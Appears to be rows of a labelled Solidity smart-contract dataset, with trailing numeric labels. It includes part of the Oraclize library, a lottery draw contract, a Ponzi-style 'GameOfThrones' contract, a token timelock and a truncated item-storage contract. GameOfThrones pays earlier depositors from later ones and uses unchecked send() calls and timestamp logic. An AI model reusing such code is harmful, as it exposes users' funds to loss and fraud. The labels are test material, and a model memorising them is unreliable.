function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity 0.4.25;
contract DrawContract is usingOraclize {
mapping(bytes32 => bool) validIds;
event LogQueryId(bytes32 queryId);
event LogNewOraclizeQuery(string description);
address owner;
constructor () payable public{
owner = msg.sender;
}
function __callback(bytes32 myid) public {
if (!validIds[myid]) revert();
if (msg.sender != oraclize_cbAddress()) revert();
delete validIds[myid];
}
function draw(string url, string lotterySlug, string drawDate) payable external {
require(msg.sender == owner);
if (oraclize_getPrice("URL") > address(this).balance) {
emit LogNewOraclizeQuery("false");
} else {
bytes32 queryId = oraclize_query("URL", url);
validIds[queryId] = true;
emit LogQueryId(queryId);
emit LogNewOraclizeQuery("true");
}
}
} | 0 | 2,510 |
contract GameOfThrones {
address public trueGods;
address public jester;
uint public lastCollection;
uint public lastFell;
uint public onThrone;
uint public kingCost;
uint public piggyBank;
uint public godBank;
uint public jesterBank;
uint public kingBank;
address[] public citizensAddresses;
uint[] public citizensAmounts;
uint32 public totalCitizens;
uint32 public lastCitizenPaid;
address public madKing;
uint32 public round;
uint public amountAlreadyPaidBack;
uint public amountInvested;
uint constant TWENTY_FOUR_HOURS = 60 * 60 * 24;
uint constant PEACE_PERIOD = 60 * 60 * 240;
function GameOfThrones() {
trueGods = msg.sender;
madKing = msg.sender;
jester = msg.sender;
lastFell = block.timestamp;
lastCollection = block.timestamp;
onThrone = block.timestamp;
kingCost = 1 ether;
amountAlreadyPaidBack = 0;
amountInvested = 0;
totalCitizens = 0;
}
function protectKingdom() returns(bool) {
uint amount = msg.value;
if (amount < 10 finney) {
msg.sender.send(msg.value);
return false;
}
if (amount > 100 ether) {
msg.sender.send(msg.value - 100 ether);
amount = 100 ether;
}
if (lastCollection + TWENTY_FOUR_HOURS < block.timestamp) {
if (totalCitizens == 1) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 95 / 100);
} else if (totalCitizens == 2) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 60 / 100);
citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 35 / 100);
} else if (totalCitizens >= 3) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 50 / 100);
citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 30 / 100);
citizensAddresses[citizensAddresses.length - 3].send(piggyBank * 15 / 100);
}
godBank += piggyBank * 5 / 100;
piggyBank = 0;
jester = msg.sender;
lastFell = block.timestamp;
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 110 / 100);
totalCitizens += 1;
investInTheSystem(amount);
godAutomaticCollectFee();
piggyBank += amount * 90 / 100;
round += 1;
} else {
if (lastFell + TWENTY_FOUR_HOURS * 2 >= block.timestamp) {
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 130 / 100);
} else {
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 110 / 100);
}
totalCitizens += 1;
investInTheSystem(amount);
while (citizensAmounts[lastCitizenPaid] < (address(this).balance - piggyBank - godBank - kingBank - jesterBank) && lastCitizenPaid <= totalCitizens) {
citizensAddresses[lastCitizenPaid].send(citizensAmounts[lastCitizenPaid]);
amountAlreadyPaidBack += citizensAmounts[lastCitizenPaid];
lastCitizenPaid += 1;
}
}
}
function() internal {
protectKingdom();
}
function investInTheSystem(uint amount) internal {
lastCollection = block.timestamp;
amountInvested += amount;
jesterBank += amount * 5 / 100;
kingBank += amount * 5 / 100;
piggyBank += (amount * 5 / 100);
kingAutomaticCollectFee();
jesterAutomaticCollectFee();
}
function abdicate() {
if (msg.sender == madKing && msg.sender != trueGods) {
madKing.send(kingBank);
if (piggyBank > kingCost * 40 / 100) {
madKing.send(kingCost * 40 / 100);
piggyBank -= kingCost * 40 / 100;
}
else {
madKing.send(piggyBank);
piggyBank = 0;
}
madKing = trueGods;
kingCost = 1 ether;
}
}
function murder() {
uint amount = 100 finney;
if (msg.value >= amount && msg.sender != jester) {
jester.send(jesterBank);
jesterBank = 0;
jester = msg.sender;
msg.sender.send(msg.value - amount);
investInTheSystem(amount);
} else {
throw;
}
}
function usurpation() {
uint amount = msg.value;
if (msg.sender == madKing) {
investInTheSystem(amount);
kingCost += amount;
} else {
if (onThrone + PEACE_PERIOD <= block.timestamp && amount >= kingCost * 150 / 100) {
madKing.send(kingBank);
godBank += amount * 5 / 100;
kingCost = amount;
madKing = msg.sender;
onThrone = block.timestamp;
investInTheSystem(amount);
} else {
throw;
}
}
}
function collectFee() {
if (msg.sender == trueGods) {
trueGods.send(godBank);
}
}
function godAutomaticCollectFee() internal {
if (godBank >= 1 ether) {
trueGods.send(godBank);
godBank = 0;
}
}
function kingAutomaticCollectFee() internal {
if (kingBank >= 100 finney) {
madKing.send(kingBank);
kingBank = 0;
}
}
function jesterAutomaticCollectFee() internal {
if (jesterBank >= 100 finney) {
jester.send(jesterBank);
jesterBank = 0;
}
}
} | 1 | 5,223 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
IERC20 private _token;
address private _sender;
address private _beneficiary;
uint256 private _releaseTime;
constructor(
IERC20 token,
address beneficiary,
uint256 releaseTime
)
public
{
require(releaseTime > block.timestamp);
_token = token;
_sender = msg.sender;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
function token() public view returns(IERC20) {
return _token;
}
function sender() public view returns(address) {
return _sender;
}
function beneficiary() public view returns(address) {
return _beneficiary;
}
function releaseTime() public view returns(uint256) {
return _releaseTime;
}
function release() public {
require((msg.sender == _sender) || (msg.sender == _beneficiary), "thou shall not pass!");
require(block.timestamp >= _releaseTime, "not yet.");
uint256 amount = _token.balanceOf(address(this));
require(amount > 0, "zero balance");
_token.safeTransfer(_beneficiary, amount);
}
function cancel() public {
require(msg.sender == _sender, "Only sender can do this");
uint256 amount = _token.balanceOf(address(this));
require(amount > 0, "zero balance");
_token.safeTransfer(_sender, amount);
}
} | 1 | 4,241 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemsInterfaceForEternalStorage {
function createShip(uint256 _itemId) public;
function createRadar(uint256 _itemId) public;
function createScanner(uint256 _itemId) public;
function createDroid(uint256 _itemId) public;
function createFuel(uint256 _itemId) public;
function createGenerator(uint256 _itemId) public;
function createEngine(uint256 _itemId) public;
function createGun(uint256 _itemId) public;
function createMicroModule(uint256 _itemId) public;
function createArtefact(uint256 _itemId) public;
function addItem(string _itemType) public returns(uint256);
}
contract EternalStorage {
ItemsInterfaceForEternalStorage private mI;
mapping(bytes32 => uint256) private uintStorage;
mapping(bytes32 => uint256[]) private uintArrayStorage;
mapping(bytes32 => string) private stringStorage;
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => bytes) private bytesStorage;
mapping(bytes32 => bool) private boolStorage;
mapping(bytes32 => int256) private intStorage;
address private ownerOfStorage;
address private logicContractAddress;
mapping(address => uint256) private refunds;
constructor() public {
ownerOfStorage = msg.sender;
mI = ItemsInterfaceForEternalStorage(0x27B95A9231a022923e9b52d71bEB662Fdd5d6cbc);
}
modifier onlyOwnerOfStorage() {
require(msg.sender == ownerOfStorage);
_;
}
modifier onlyLogicContract() {
require(msg.sender == logicContractAddress);
_;
}
function initWithShips() public onlyOwnerOfStorage {
createShip(1, 'Titanium Ranger Hull', 200, 2, 0.18 ether);
createShip(2, 'Platinum Ranger Hull', 400, 4, 0.45 ether);
createShip(3, 'Adamantium Ranger Hull', 600, 7, 0.9 ether);
}
function addReferrer(address _referrerWalletAddress, uint256 referrerPrize) public onlyLogicContract {
refunds[_referrerWalletAddress] += referrerPrize;
}
function widthdrawRefunds(address _owner) public onlyLogicContract returns(uint256) {
uint256 refund = refunds[_owner];
refunds[_owner] = 0;
return refund;
}
function checkRefundExistanceByOwner(address _owner) public view onlyLogicContract returns(uint256) {
return refunds[_owner];
}
function buyItem(uint256 _itemId, address _newOwner, string _itemTitle, string _itemTypeTitle) public onlyLogicContract returns(uint256) {
uint256 newItemId = mI.addItem(_itemTitle);
uintStorage[_b3(_itemTypeTitle, newItemId)] = _itemId;
addressStorage[_b4(_itemTitle, newItemId)] = _newOwner;
return _itemId;
}
function _b1(string _itemType, uint256 _itemId, string _property) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId, _property));
}
function _b3(string _itemType, uint256 _itemId) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId));
}
function _b4(string _itemType, uint256 _itemId) private pure returns(bytes32) {
return keccak256(abi.encodePacked("owner", _itemType, _itemId));
}
function getOwnerByItemTypeAndId(string _itemType, uint256 _itemId) public onlyLogicContract view returns(address) {
return addressStorage[_b4(_itemType, _itemId)];
}
